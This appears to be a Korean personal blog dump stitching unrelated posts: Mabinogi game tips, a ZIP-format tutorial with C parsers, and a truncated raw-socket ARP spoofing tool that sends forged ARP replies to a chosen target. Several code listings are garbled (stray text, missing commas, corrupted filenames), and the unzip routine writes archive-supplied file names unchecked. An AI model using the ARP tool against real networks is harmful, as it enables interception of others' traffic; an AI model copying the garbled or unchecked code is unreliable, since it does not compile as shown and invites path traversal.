마비노기 윈드밀러...
참으로 돈 안들고 그나마 어렵지 않아서 좋다^^

몇가지 주의 사항을 여기에 써본다.

1. 윈드밀 1랭.. 당연하다^^

2. 피통은 150~200 사이가 적당한것 같다.
 - 윈드밀을 사용하면 피 10%가 줄기 때문에 피통이 클수록 피가 줄어드는 것도 크기때문.
 - 건들렛이나 장갑류 접두에 냉혹한, 나머지 접미 도둑 인챈등으로 피통을 낮쳐준다.
 - 팔라 스킬 스피리트 오브 오더 F랭으로 두고(피통 늘어나는것 방지) 소드오브오더 1랭, 파워오브오더 1랭으로 올린다.
   팔라 지속 시간은 환생횟수와 관계가 있다  스트리트 오브 오더와는 전혀 관계가 없다.

3. 생명력 포션은 2개 좋류를 가지고 다니는것이 좋다. 30포션, 100포션

4. 생명력은 항상 80~90% 근처에 머물게 포션을 먹어준다.
 - 윈드밀을 몇번 사용하면 물약 몇개 먹어야하는지 알아 두자^^
 - 생명력이 급격하게 달경우 100포션을 먹어준다.(단축키 필수)
 - 생명의 포션을 약 5초 이상의 간격을 두면서 먹으면 포션 중독 방지 효과가 있다.

5. 팔라딘 스킬에서 스피리트 오브 오더는 F랭으로 묶어둔다. 이 스킬 랭크를 올리면 피통이 장난 아니게 늘어난다.
  그 이유는 이 랭크를 올리면 피통이 늘어나서 원드밀을 한번쓰면 10%의 피통 줄어드는데
   이게 상위 랭크로 갈수록 장난 아니다.
  ** 변신(팔라) 지속 시간은 환생횟수와 관계가 있다

6. 크리티컬은 30%만 채운다.
 - 윈드밀 스킬 사용시 상대방 보호 무시 효과때문에 마비노기 최대 크리티컬인 30%만 채운다.
 - 도둑인챈(대부부의 장비) + 거센 모자 정도면 충분하다.

7. 자동 윈드밀 타격법을 배운다.
 - 윈드밀 스킬을 시전 전에 캐릭터 근처 땅바닥을 클릭 한채로 스킬을 시전한다. (마우스는 계속 클릭상태중)
 - 윈드밀 스킬 시전중, 시전후에 윈드밀 범위를 벗어난 곳을 클릭하고 윈드밀 범위 안쪽으로 드래그한다.

8. 중요 스킬 단축키는 왼손에 모두 오게 바꾼다.
 - 기본단축키중 1, 2, 3, 4, 5, 6, 7, 8, 9, 0을 1,2,3,4,5,6,q,w,e,r,t 로 설정하고 전체 스킬창을 이에 맞게 바꿔준다.
 - z 단축키는 전체 스킬창으로(공격을 시작하기전 한번씩 눌러준 다음 공격을 하자)
 - Shift a,s,d,f -->펫소환, Alt + c 펫소환해제 Shfit + c 펫예교(이리와! 보다 훨씬 반응속도가 빠름)

압축해제 프로그램 제작 

  • 이제 압축 해제 프로그램을 제작해보자.
  • 여기서는 그냥 무압축된 zip파일을 해제해 보도록하겠다.
  • 앞서 3번째 강좌 ( http://fehead.tistory.com/164 )에서 zip localheader file을 이용한 파일 리스트 보기 소스를 기억하는가?
  • 거기 파일리스트를 출력하는 바로위에 아래 한줄만 추가해보자. 

        // 추가된소스 한줄
        unzip(filename, data, l.compressed_size);

        // 원래 소스
        printf("%s\tCompressed size:%u\t Uncompressed size:%u\n",
                filename, l.compressed_size, l.uncompressed_size);

  • 자 이제 위 내용을 main 함수위에 코딩하면된다. 

// 압축파일 해제

void unzip(const char * filename, const char * data, ulong size)
{
    // 파일을 연다.
    FILE *  file = fopen(filename, "w");
    if(file == 0)
    {
        perror("fopen:");
        return;
    }

    // 파일에 데이터를 쓴다.
    fwrite(data, 1, size, file);

    // 파일을 닫는다.
    fclose(file);
}



# 컴파일
$ gcc -o tunzip tunzip.challo


# 테스트를 하기 위해 임시 디렉토리 생성
$ mkdir tmp

# test.zip 파일과 방금 만든 프로그램을 임시 디렉토리로 복사.
$ cp test.zip tunzip tmp

# 임시 디렉토리로 이동
cd tmp
$ ls -l
합계 12
-rw-r--r-- 1 fehead users  334  8월 18 18:18 test.zip
-rwxr-xr-x 1 fehead users 6446  8월 18 18:18 tunziphallo

# 프로그램 실행
$ ./tunzip 
aa.txt  Compressed size:16       Uncompressed size:16
bb.txt  Compressed size:16       Uncompressed size:16

# 압축 풀린것 확인.
$ ls -l
합계 20
-rw-r--r-- 1 fehead users   16  8월 18 18:18 aa.txt
-rw-r--r-- 1 fehead users   16  8월 18 18:18 bb.txt
-rw-r--r-- 1 fehead users  334  8월 18 18:18 test.zip
-rwxr-xr-x 1 fehead users 6446  8월 18 18:18 tunzip

# 내용물 확인.
$ cat aa.txt
0123456789ABCDEF


  • 압축 해제 프로그램을 작성했다.. 와!!!
  • 몇 강좌후에 진짜 압축된 파일도 한번 압축해보자. 

  • 다음강좌는 파일을 무압축으로 zip파일을 만들어보는것을 해보도록하자.

     전체소스는 아래 첨부파일을 참고 하세요. 
    압축파일
     
    소스
     

zip 파일목록 보여주기 프로그램 작성 2번째 


  • 이번에는 Central directory file header를 이용해서 파일 목록을 보여줘보도록하시죠 

  • end of central directory record 구조체 작성
// Zip end of central directory record - Signature = 0x06054b50
struct _zip_end_central_h
{   
    ushort  number;         // Number of this disk
    ushort  start;          // Disk where central directory starts
    ushort  record_cnt;     // Number of central directory records on this disk
    ushort  totoal_record_cnt;  // Total number of central directory records
    ulong   central_size;   // Size of central directory (bytes)
    ulong   offset;         // Offset of start of central directory
    ushort  comment_len;    // ZIP file comment length (n)
} __attribute__((packed));
typedef struct _zip_end_central_h zip_end_central_h;


  • Central directory file header구조체 작성
// Central directory file header -  signature = 0x02014b50
struct _zip_cetral_h
{
    ushort  ver_m;      // Version made by
    ushort  ver_n;      // Version needed to extract (minimum)
    ushort  flag;       // General purpose bit flag
    ushort  method;     // Compression method
    ushort  time;       // File last modification time
    ushort  date;       // File last modification date
    ulong   crc;        // CRC-32
    ulong   compressed_size;    // Compressed size
    ulong   uncompressed_size;  // Uncompressed size
    ushort  filename_len;       // File name length (n)
    ushort  extra_len;          // Extra field length (m)
    ushort  comment_len;        // File comment length (k)
    ushort  starts;             // Disk number where file starts
    ushort  i_attributes;       // Internal file attributes
    ulong   e_attributes;       // External file attributes
    ulong   relative_offset;    // Relative offset of local file header.
} __attribute__((packed));
typedef struct _zip_cetral_h zip_cetral_h;



  • main 작성
 
1 // test.zip 파일 을 연다.
2 // 파일 위치를 끝으로 이동.
3 // end of central directory records 를 찾을때까지 반복.
4
5 // 못찾았으면 종료.
6 // 찾았다면 centrol directory file header로 이동한다.
7 // 파일 끝까지 반복한다.
8     // 시그너처를 읽는다.
9     // centrol directory signature 가 아니면
10         // break;
11     // centrol directory 구조체를 읽어들인다.
12     // 파일이름을 읽어들인다.
13     // extra data와 file comment를 읽어들인다.
14     // 파일명과 압축된 파일 용량을 출력한다.
15 // 파일을 닫는다.

  • 완전소스
// zipinfo2.c
// http:://fehead.tistory.com
#include <stdio.h>
#include <stdlib.h>

typedef unsigned short  ushort;
typedef unsigned long   ulong;

// Zip end of central directory record - Signature = 0x06054b50
struct _zip_end_central_h
{
        ushort  number;                 // Number of this disk
        ushort  start;                  // Disk where central directory starts
        ushort  record_cnt;             // Number of central directory records on this disk
        ushort  totoal_record_cnt;      // Total number of central directory records
        ulong   central_size;   // Size of central directory (bytes)
        ulong   offset;                 // Offset of start of central directory
        ushort  comment_len;    // ZIP file comment length (n)
} __attribute__((packed));
typedef struct _zip_end_central_h zip_end_central_h;

// Central directory file header -  signature = 0x02014b50
struct _zip_cetral_h
{
        ushort  ver_m;          // Version made by
        ushort  ver_n;          // Version needed to extract (minimum)
        ushort  flag;           // General purpose bit flag
        ushort  method;         // Compression method
        ushort  time;           // File last modification time
        ushort  date;           // File last modification date
        ulong   crc;            // CRC-32
        ulong   compressed_size;        // Compressed size
        ulong   uncompressed_size;      // Uncompressed size
        ushort  filename_len;           // File name length (n)
        ushort  extra_len;                      // Extra field length (m)
        ushort  comment_len;            // File comment length (k)
        ushort  starts;                         // Disk number where file starts
        ushort  i_attributes;           // Internal file attributes
        ulong   e_attributes;           // External file attributes
        ulong   relative_offset;        // Relative offset of local file header.
} __attribute__((packed));
typedef struct _zip_cetral_h zip_cetral_h;


int main()
{
        // test.zip 파일 을 연다.
        FILE *  zip_file = 0;
        zip_file = fopen("test.zip""r");
        if(zip_file == 0)
        {
                perror("fopen:");
                return 0;
        }

        // end of central directory records를 찾는다.
        ulong   signature = 0;
        long    pos = (long)sizeof(zip_end_central_h) + sizeof(signature);
        fseek(zip_file, -pos, SEEK_END);

        fread(&signature, 1sizeof(signature), zip_file);

        // 못찾았으면 종료.
        if(signature != 0x06054b50)
        {
                fprintf(stderr"not found end of central directory records\n");
                return 0;
        }

        // 찾았다면 centrol directory file header로 이동한다.
        zip_end_central_h       e;
        fread(&e, 1sizeof(zip_end_central_h), zip_file);
        fseek(zip_file, e.offset, SEEK_SET);

        // 파일 끝까지 반복한다.
        int i = 0;
        for(i = 0 ; i < e.totoal_record_cnt ; ++i)
        {
                // 시그너처를 읽는다.
                fread(&signature, 1sizeof(signature), zip_file);

                // centrol directory signature 가 아니면
                if(signature != 0x02014b50)
                        break;

                // centrol directory 구조체를 읽어들인다.
                zip_cetral_h    c;
                fread(&c, 1sizeof(c), zip_file);

                // 파일이름을 읽어들인다.
                char * filename = (char *)malloc(c.filename_len + 1);
                fread(filename, 1, c.filename_len, zip_file);
                filename[c.filename_len] = 0;

                // extra data와 file comment를 읽어들인다. 그냥 넘긴다.
                fseek(zip_file, c.extra_len, SEEK_CUR);
                fseek(zip_file, c.comment_len, SEEK_CUR);

                // 파일명과 압축된 파일 용량을 출력한다.
                printf("%s\tCompressed size:%u\t Uncompressed size:%u\n",
                                filename, c.compressed_size, c.uncompressed_size);

                free(filename);

        }
        // 파일을 닫는다.
        fclose(zip_file);

        return 0;
}


  • 결과
$ ./zipinfo2 
aa.txt	Compressed size:16	 Uncompressed size:16
bb.txt	Compressed size:16	 Uncompressed size:16

zip 파일목록 보여주기 프로그램 작성 첫번째


  • zip local file header 구조체 작성

typedef unsigned short  ushort;
typedef unsigned long   ulong;


// Zip Local file header static
struct _zip_localfile_h
{
    ushort  ver;        // Version needed to extract (minimum)
    ushort  flag;       // General purpose bit flag
    ushort  method;     // Compression method
    ushort  time;       // File last modification time
    ushort  date;       // File last modification date
    ulong   crc;        // CRC-32
    ulong   compressed_size;    // Compressed size
    ulong   uncompressed_size;  // Uncompressed size
    ushort  filename_len;       // File name length (n)
    ushort  extra_len;          // Extra field length (m)
} __attribute__((packed));
typedef struct _zip_localfile_h zip_localfile_h;


  • main 작성

// "test.zip" 파일을 연다.
// 파일끝까지 반복한다.
   // 4바이트 시그너처를 읽어들인다.
   // zip local file header 시그너처가 아니면(0x04034b50)
      // break;
   // zip_localfile_h struct를 파일에서 읽어들인다.
   // 파일이름을 읽어들인다.
   // extra field를 읽어들인다.
   // 압축 데이터를 읽어들인다.
   // 파일 이름과 파일 크기등을 화면에 뿌린다.
// 파일을 닫는다.

  • 완전소스

// zipinfo.c
// http:://fehead.tistory.com
#include <stdio.h>
#include <stdlib.h>

typedef unsigned short  ushort;
typedef unsigned long   ulong;

// Zip Local file header static
struct _zip_localfile_h
{
    ushort  ver;        // Version needed to extract (minimum)
    ushort  flag;       // General purpose bit flag
    ushort  method;     // Compression method
    ushort  time;       // File last modification time
    ushort  date;       // File last modification date
    ulong   crc;        // CRC-32
    ulong   compressed_size;    // Compressed size
    ulong   uncompressed_size;  // Uncompressed size
    ushort  filename_len;       // File name length (n)
    ushort  extra_len;          // Extra field length (m)
} __attribute__((packed));int argc, char * argv[]
typedef struct _zip_localfile_h zip_localfile_h;

// main
int main()
{

    // "test.zip" 파일을 연다.
    FILE *  zip_file = 0;
    zip_file = fopen("test.zip""r");
    if(zip_file == 0)
    {
        perror("fopen:");
        return 0;
    }

    // 파일끝까지 반복한다.
    while(feof(zip_file) == 0)
    {

        // 4바이트 시그너처를 읽어들인다.
        ulong   signature;
        if(sizeof(signature) !=
                fread(&signature, 1sizeof(signature), zip_file))
        {
            fprintf(stderr,"zip file error\n");
            break;
        }

        // zip local file header 시그너처가 아니면(0x04034b50) break;
        if(signature != 0x04034b50)
        {
            printf("signature : %#x\n", signature);
            break;
        }

        // zip_localfile_h struct를 파일에서 읽어들인다.
        zip_localfile_h l;
        fread(&l, sizeof(l), 1, zip_file);

        char * filename = (char *)malloc(l.filename_len + 1);
        char * extra = (char *)malloc(l.extra_len);
        char * data = (char *)malloc(l.compressed_size);

        // 파일이름을 읽어들인다.
        fread(filename, 1, l.filename_len, zip_file);
        filename[l.filename_len] = '\0';

        // extra field를 읽어들인다.
        fread(extra, 1, l.extra_len, zip_file);

        // 압축 데이터를 읽어들인다.
        fread(data, 1, l.compressed_size, zip_file);

        // 파일 이름과 파일 크기등을 화면에 뿌린다.
        printf("%s\tCompressed size:%u\t Uncompressed size:%u\n",
                filename, l.compressed_size, l.uncompressed_size);

       
free(data);
        free(extra);
        free(filename);
    }

    // 파일을 닫는다.
    fclose(zip_file);
    return 0;
}

  • 결과
$ ./zipinfo 
aa.txt	Compressed size:16	 Uncompressed size:16
bb.txt	Compressed size:16	 Uncompressed size:16
signature : 0x2014b50

ZIP central directory file header 



Offset Bytes Description
0 4 Central directory file header signature = 0x02014b50
4 2 Version made by
6 2 Version needed to extract (minimum)
 8 2 General purpose bit flag
10 2 Compression method
12 2 File last modification time
14 2 File last modification date
16 4 CRC-32
20 4 Compressed size
24 4 Uncompressed size
28 2 File name length (n)
30 2 Extra field length (m)
32 2 File comment length (k)
34 2 Disk number where file starts
36 2 Internal file attributes
38 4 External file attributes
42 4 Relative offset of local file header. This is the number of bytes between
the start of the first disk on which the file occurs, and the start of
the local file header. This allows software reading the central directory
to locate the position of the file inside the ZIP file.
46 n File name
46+n m Extra field
46+n+m k File comment


  • 첫번째 ZIP central directory file header 분석 

$ xxd test.zip | grep -A 4 00000a0:
00000a0: 504b 0102 1e03 0a00 0000 0000 5189 093f  PK..........Q..?
00000b0: b537 3c98 1000 0000 1000 0000 0600 1800  .7<.............
00000c0: 0000 0000 0000 0000 a481 0000 0000 6161  ..............aa
00000d0: 2e74 7874 5554 0500 0379 eb40 4e75 780b  .txtUT...y.@Nux.
00000e0: 0001 04e8 0300 0004 6400 0000 504b 0102  ........d...PK..

Offset Bytes Description
0 4 signature = 0x02014b50 504b 0102
4 2 Version made by 1e03
6 2 Version needed to extract (minimum) 0a00
 8 2 General purpose bit flag 0000
10 2 Compression method 0000
12 2 last modification time 5189
14 2 last modification date 093f
16 4 CRC-32 b537 3c98
20 4 Compressed size 1000 0000
24 4 Uncompressed size 1000 0000
28 2 File name length (n) 0600
30 2 Extra field length (m) 1800
32 2 File comment length (k) 0000
34 2 Disk number where file starts 0000
36 2 Internal file attributes 0000
38 4 External file attributes 0000 a481
42 4 Relative offset of local file header 0000 0000
46 n File name 6161 2e74 7874 "aa.txt"
46+n m(0x18) Extra field
5554 0500 0379 eb40 4e75 780b 0001 04e8
0300 0004 6400 0000
46+n+m k(0x0) File comment


  • 두번째 ZIP central directory file header 분석
$ xxd -s 0xec test.zip 
00000ec: 504b 0102 1e03 0a00 0000 0000 6089 093f  PK..........`..?
00000fc: b537 3c98 1000 0000 1000 0000 0600 1800  .7<.............
000010c: 0000 0000 0000 0000 a481 5000 0000 6262  ..........P...bb
000011c: 2e74 7874 5554 0500 0394 eb40 4e75 780b  .txtUT.....@Nux.
000012c: 0001 04e8 0300 0004 6400 0000 504b 0506  ........d...PK..
....

은 알아서들 해보시고^^ 


ZIP end of central directory record 


Offset Bytes Description
 0 4 End of central directory signature = 0x06054b50
 4 2 Number of this disk
 6 2 Disk where central directory starts
 8 2 Number of central directory records on this disk
10 2 Total number of central directory records
12 4 Size of central directory (bytes)
16 4
20 2 ZIP file comment length (n)
22 n ZIP file comment



  • ZIP end of central directory record 분석 

$ xxd -s 0x138 test.zip 
0000138: 504b 0506 0000 0000 0200 0200 9800 0000  PK..............
0000148: a000 0000 0000                           ......

Offset Bytes Description
 0 4 Signature = 0x06054b50 504b 0506
 4 2 Number of this disk 0000
 6 2 Disk where central directory starts 0000
 8 2 Number of central directory records on this disk 0200
10 2 Total number of central directory records 0200
12 4 Size of central directory (bytes) 9800 0000
16 4 Offset of start of central directory a000 0000
20 2 ZIP file comment length (n) 0000
22 n ZIP file comment


이제 대략적인 분석은 끝났으므로 다음에는 zip파일을 가지고 프로그래밍 해보시죠.

ZIP local file header 

Local header 는 아래와 같고 [http]위키리스트참고

ZIP local file header
Offset Bytes Description
0 4 Local file header signature = 0x04034b50 (read as a little-endian number)
4 2 Version needed to extract (minimum)
6 2 General purpose bit flag
8 2 Compression method
10 2 File last modification time
12 2 File last modification date
14 4 CRC-32
18 4 Compressed size
22 4 Uncompressed size
26 2 File name length (n)
28 2 Extra field length (m)
30 n File name
30+n m Extra field

위에 나온 것을 보고 분석해봅시다.
$ xxd test.zip | head -6
0000000: 504b 0304 0a00 0000 0000 2cb2 093f b537  PK........,..?.7
0000010: 3c98 1000 0000 1000 0000 0600 1c00 6161  <.............aa
0000020: 2e74 7874 5554 0900 0363 3341 4e6a 3341  .txtUT...c3ANj3A
0000030: 4e75 780b 0001 046b 0400 0004 f901 0000  Nux....k........
0000040: 3031 3233 3435 3637 3839 4142 4344 4546  0123456789ABCDEF
0000050: 504b 0304 0a00 0000 0000 2fb2 093f b537  PK......../..?.7


Offset Bytes Description Value
0 4 Local file header signature 504b 0304
4 2 Version needed to extract (minimum) 0a00
6 2 General purpose bit flag 0000
8 2 Compression method 0000
10 2 File last modification time 5189
12 2 File last modification date 093f
14 4 CRC-32 b537 3c98
18 4 Compressed size 1000 0000
22 4 Uncompressed size 1000 0000
26 2 File name length (n) 0600
28 2 Extra field length (m) 1c00
30 n(6) File name 6161 2e74 7874("aa.txt")
30+n m(1c) Extra field(1c == 28byte)
0900 0379 eb40 4e94 eb40 4e75 780b 0001
04e8 0300 0004 6400 0000
30+n+m Data 3031 3233 3435 3637 3839 4142 4344 4546 = "0123456789ABCDEF"

두번째

$ xxd test.zip |grep -A 5 0000050
0000050: 504b 0304 0a00 0000 0000 6089 093f b537  PK........`..?.7
0000060: 3c98 1000 0000 1000 0000 0600 1c00 6262  <.............bb
0000070: 2e74 7874 5554 0900 0394 eb40 4e94 eb40  .txtUT.....@N..@
0000080: 4e75 780b 0001 04e8 0300 0004 6400 0000  Nux.........d...
0000090: 3031 3233 3435 3637 3839 4142 4344 4546  0123456789ABCDEF
00000a0: 504b 0102 1e03 0a00 0000 0000 5189 093f  PK..........Q..?

Offset Bytes Description Value
0 4 Local file header signature 504b 0304
4 2 Version needed to extract (minimum) 0a00
6 2 General purpose bit flag 0000
8 2 Compression method 0000
10 2 File last modification time 6089
12 2 File last modification date 093f
14 4 CRC-32 b537 3c98
18 4 Compressed size 1000 0000
22 4 Uncompressed size 1000 0000
26 2 File name length (n) 0600
28 2 Extra field length (m) 1c00
30 n(6) File name 6262 2e74 7874("bb.txt")
30+n m(1c) Extra field(1c == 28byte)
5554 0900 0394 eb40 4e94 eb40 4e75 780b
0001 04e8 0300 0004 6400 0000
30+n+m Data 3031 3233 3435 3637 3839 4142 4344 4546 = "0123456789ABCDEF"

순서 

  • 2개의 파일을 압축한 압축파일을 만들어본다.
  • 압축한 파일을 분석해본다.
  • 분석한 내용을 가지고 분석한 내용을 출력하는 프로그램을 만들어본다. 

분석할 압축파일 작성 

  • 2개의 파일을 압축한 압축파일을 만들어본다.
    파일 첨부 :
# "0123456789ABCDEF"의 내용이 있는 16바이트 텍스트 파일 2개 만들기
$ xxd -r > aa.txt
0000000: 3031 3233 3435 3637 3839 4142 4344 4546  # 화면에 입력할 내용

$ cp aa.txt bb.txt
$ cat aa.txt
0123456789ABCDEF

$ zip -0 test.zip aa.txt bb.txt   # aa.txt, bb.txt 파일을 압축하지 않고 test.zip 파일로만듬.
  adding: aa.txt (stored 0%)
  adding: bb.txt (stored 0%)

$ ls -l
-rw-r--r-- 1 fehead member  16  89 22:17 aa.txt
-rw-r--r-- 1 fehead member  16  89 22:17 bb.txt0
-rw-r--r-- 1 fehead member 334  89 22:21 test.zip

  • 압축한 파일 내용물 확인E
$ xxd test.zip
0000000: 504b 0304 0a00 0000 0000 2cb2 093f b537  PK........,..?.7
0000010: 3c98 1000 0000 1000 0000 0600 1c00 6161  <.............aa
0000020: 2e74 7874 5554 0900 0363 3341 4e6a 3341  .txtUT...c3ANj3A
0000030: 4e75 780b 0001 046b 0400 0004 f901 0000  Nux....k........

0000040: 3031 3233 3435 3637 3839 4142 4344 4546  0123456789ABCDEF
0000050: 504b 0304 0a00 0000 0000 2fb2 093f b537  PK......../..?.7
0000060: 3c98 1000 0000 1000 0000 0600 1c00 6262  <.............bb
0000070: 2e74 7874 5554 0900 036a 3341 4e6a 3341  .txtUT...j3ANj3A
0000080: 4e75 780b 0001 046b 0400 0004 f901 0000  Nux....k........
0000090: 3031 3233 3435 3637 3839 4142 4344 4546  0123456789ABCDEF
00000a0: 504b 0102 1e03 0a00 0000 0000 2cb2 093f  PK..........,..?
00000b0: b537 3c98 1000 0000 1000 0000 0600 1800  .7<.............
00000c0: 0000 0000 0000 0000 a481 0000 0000 6161  ..............aa
00000d0: 2e74 7874 5554 0500 0363 3341 4e75 780b  .txtUT...c3ANux.
00000e0: 0001 046b 0400 0004 f901 0000 504b 0102  ...k........PK..
00000f0: 1e03 0a00 0000 0000 2fb2 093f b537 3c98  ......../..?.7<.
0000100: 1000 0000 1000 0000 0600 1800 0000 0000  ................
0000110: 0000 0000 a481 5000 0000 6262 2e74 7874  ......P...bb.txt
0000120: 5554 0500 036a 3341 4e75 780b 0001 046b  UT...j3ANux....k
0000130: 0400 0004 f901 0000 504b 0506 0000 0000  ........PK......
0000140: 0200 0200 9800 0000 a000 0000 0000       ..............

이것을 가지고 분석해보자

먼저 zip file format 형태는 아래와 같습니다. [http]위키리스트참고



다음편에 계속...
  
파일 첨부함.

 
arpspoof가  libnet과 libpcap이 필요해서 그냥 한번 raw socket으로만으로 되게 만들어봤습니다.

 사용법은 
 
  au [-r] -i <ethernet interface> -t <target ip> <source ip>

  exam) au -i eth0 192.168.0.10 192.168.0.5 : ARP REQUEST
        au -r -i eth0 192.168.0.10 192.168.0.1 : ARP REPLY


// au.c
// gcc -o au au.c
// auther : http://fehead.tistory.com
#include <stdio.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>// struct sockaddr_ll
#include <sys/ioctl.h>		// struct ifreq
#include <strings.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <signal.h>

typedef unsigned char	uchar;
typedef unsigned short	ushort;

// ethernet frame header.
struct eth_hdr
{
	uchar	h_dest[6];				// destination ether addr
	uchar	h_source[6];			// source ether addr
	ushort	h_proto;				// packet type ID field
} __attribute__((packed));

static const int ETHERNET_SIZE = sizeof(struct eth_hdr);

// ARP header
struct arp_hdr
{
	ushort	ar_hrd;		// Hardware type : ethernet
	ushort	ar_pro;     // Protocol		 : IP
	uchar	ar_hln;     // Hardware size
	uchar	ar_pln;     // Protocal size
	ushort	ar_op;      // Opcode replay
	uchar	ar_sha[6];  // Sender MAC
	uchar	ar_sip[4];  // Sender IP
	uchar	ar_tha[6];  // Target mac
	uchar	ar_tip[4];  // Target IP
} __attribute__((packed));

static const int ARP_SIZE = sizeof(struct arp_hdr);


static uchar g_buf[sizeof(struct eth_hdr)+sizeof(struct arp_hdr)];
static const char * g_source_ip = NULL;
static const char * g_interface = NULL;
static int g_sock = -1;

// dumps raw memory in hex byte and printable split format
void dump(const uchar *data_buffer, const unsigned int length) {
	uchar byte;
	unsigned int i, j;
	for(i=0; i < length; i++) {
		byte = data_buffer[i];
		printf("%02x ", data_buffer[i]);  // display byte in hex
		if(((i%16)==15) || (i==length-1)) {
			for(j=0; j < 15-(i%16); j++)
				printf("   ");
			printf("| ");
			for(j=(i-(i%16)); j <= i; j++) {  // display printable bytes from line
				byte = data_buffer[j];
				if((byte > 31) && (byte < 127)) // outside printable char range
					printf("%c", byte);
				else
					printf(".");
			}
			printf("\n"); // end of the dump line (each line 16 bytes)
		} // end if
	} // end for
}


// get interface mac addr.
//  exam) interface2mac("eth0", buf);
// return : 1 success
//        : 0 failure
int interface2mac(const char * interface, uchar * mac)
{
	int fd = socket(PF_INET, SOCK_STREAM, 0);
	if(fd == -1)
	{
		perror("socket");
		return 0;
	}

	struct ifreq iflist;
	bzero(&iflist, sizeof(iflist));
	strncpy(iflist.ifr_name, interface, sizeof(iflist.ifr_name));
	if(ioctl(fd, SIOCGIFHWADDR, &iflist) == -1)
	{
		perror("ioctl failed");
		return 0;
	}
	
	struct sockaddr * sa = &iflist.ifr_hwaddr;
	memcpy(mac, sa->sa_data, 6);

	close(fd);

#ifdef _DEBUG
	printf("interface2mac: %s\n", interface);
	dump(mac, 6);
#endif // _DEBUG
	return 1;
}

// get mac address to arp cash.
//  exam) get_arp_to_arpcash(ip)
// return : 1 success
//        : 0 failure
int get_arp_to_arpcash(unsigned long ip)
{
	int fd = 0;
	if((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
		return 0;

	struct sockaddr_in sin;
	bzero(&sin, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = ip;
	sin.sin_port = htons(67);

	int i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));

	close(fd);

	return (i == 0);
}

// get MAC address from ip, interface
//  exam) arp_cash_lookup("eth0", ip, buf)
// return : 1 success
//        : 0 failure
int arp_cash_lookup(const char * interface, unsigned long ip, uchar * mac)
{
	int sock = 0;
	struct arpreq	ar;
	struct sockaddr_in * sin = 0;

	bzero(&ar, sizeof(ar));

	strncpy(ar.arp_dev, interface, sizeof(ar.arp_dev));
	sin = (struct sockaddr_in *)&ar.arp_pa;
	sin->sin_family = AF_INET;
	sin->sin_addr.s_addr = ip;

	if((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
		return 0;

	if(ioctl(sock, SIOCGARP, (caddr_t)&ar) == -1)
	{
		close(sock);
		return 0;
	}
	close(sock);
	memcpy(mac, ar.arp_ha.sa_data, 6);

	return 1;
}

// string to mac address
//  exam) "01:02:03:0d:0e:0f" --> "\x01\x02\0x03\x0d\x0e\x0f"
// return : 1 success
//        : 0 failure
int str2mac(const char * str_mac, uchar * mac)
{
	int ret = sscanf(str_mac, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
			&mac[0], &mac[1], &mac[2],
			&mac[3], &mac[4], &mac[5]);

#ifdef _DEBUG
	int i = 0;
	printf("MAC : ");
	for(i = 0 ; i < 6 ; ++i)
		printf("%hhx:", mac[i]);

	printf("\n");
#endif // _DEBUG

	return ret;
}

// string to ip.
//  exam) "192.168.0.1" --> "\xc0\xa8\x00\x01"
// return : 1 success
//        : 0 failure
int str2ip(const char * str_ip, uchar * ip)
{
	int ret = sscanf(str_ip, "%hhu.%hhu.%hhu.%hhu",
			&ip[0], &ip[1], &ip[2], &ip[3]);

#ifdef _DEBUG
	int i = 0;
	printf("IP : ");
	for(i = 0 ; i < 4 ; ++i)
		printf("%hhu.", ip[i]);
	printf("\n");
#endif // _DEBUG
	return ret;
}

// convert ip to mac address
//  exam) ip2mac("eth0", "192.168.0.10", buf);
// return : 1 success
//        : 0 failure
int ip2mac(const char * intf, const char * str_ip, uchar * mac)
{
	int i = 0;
	unsigned int ip = 0;
	if(str2ip(str_ip, (uchar *)&ip) == 0)
		return 0;

	do
	{
		if(arp_cash_lookup(intf, ip, mac) == 1)
		{
#ifdef _DEBUG
			printf("ip2mac: %s\n", str_ip);
			dump(mac, 6);
#endif // _DEBUG
			return 1;
		}
		get_arp_to_arpcash(ip);

		sleep(1);
	}
	while(i++ < 3);

	return 0;
}

// init arp packet.
void init_packet(struct eth_hdr * e, struct arp_hdr * a, int reply)
{
	bzero(e, sizeof(*e));
	memset(e->h_dest, 0xff, sizeof(e->h_dest));
	e->h_proto = htons(0x0806);	// ARP protocol

	bzero(a, sizeof(*a));
	a->ar_hrd = htons(0x0001);	// Ethernet 10/100Mbps.
	a->ar_pro = htons(0x0800);	// IP protocol
	a->ar_hln = 6;				// hardware len
	a->ar_pln = 4;				// protocol len

	if(reply == 1)
		a->ar_op = htons(0x0002);	// 1 :request, 2 :reply
	else
		a->ar_op = htons(0x0001);	// 1 :request, 2 :reply

#ifdef _DEBUG
	printf("init_packet Ethernet Header:\n");
	dump((uchar *)e, sizeof(*e));

	printf("init_packet ARP Header:\n");
	dump((uchar *)a, sizeof(*a));
#endif // _DEBUG
}


// create rawsocket.
//  exam) rawsocket("eth0")
// return -1 : failure.
//        0 <= : success.
int rawsocket(const char * interface)
{
	int fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(fd == -1)
	{
		perror("socket create:");
		return -1;
	}

	struct ifreq ifr;
	bzero(&ifr, sizeof(ifr));

	// select network interface ex) "eth0"
	strcpy((char *)ifr.ifr_name, interface);
	if(ioctl(fd, SIOCGIFINDEX, &ifr) == -1)
	{
		perror("error getting interface index\n");
		close(fd);
		return -1;
	}

	struct sockaddr_ll	sll;

	bzero(&sll, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifr.ifr_ifindex;
	sll.sll_protocol = htons(ETH_P_ALL);

	if(bind(fd, (struct sockaddr*)&sll, sizeof(sll)) == -1)
	{
		perror("Error binding raw socket to interface\n");
		close(fd);
		return -1;
	}

	return fd;
}

void sig_cleanup(int signo)
{
	printf("clean up\n");

	struct eth_hdr * ether = (struct eth_hdr *)g_buf;
	struct arp_hdr * arp = (struct arp_hdr *)(g_buf+ETHERNET_SIZE);

	uchar source_mac[6] = { 0, };
	if(g_sock != -1 && ip2mac(g_interface, g_source_ip, source_mac) == 1)
	{
		// set source mac to original mac address
		memcpy(ether->h_source, source_mac, 6);
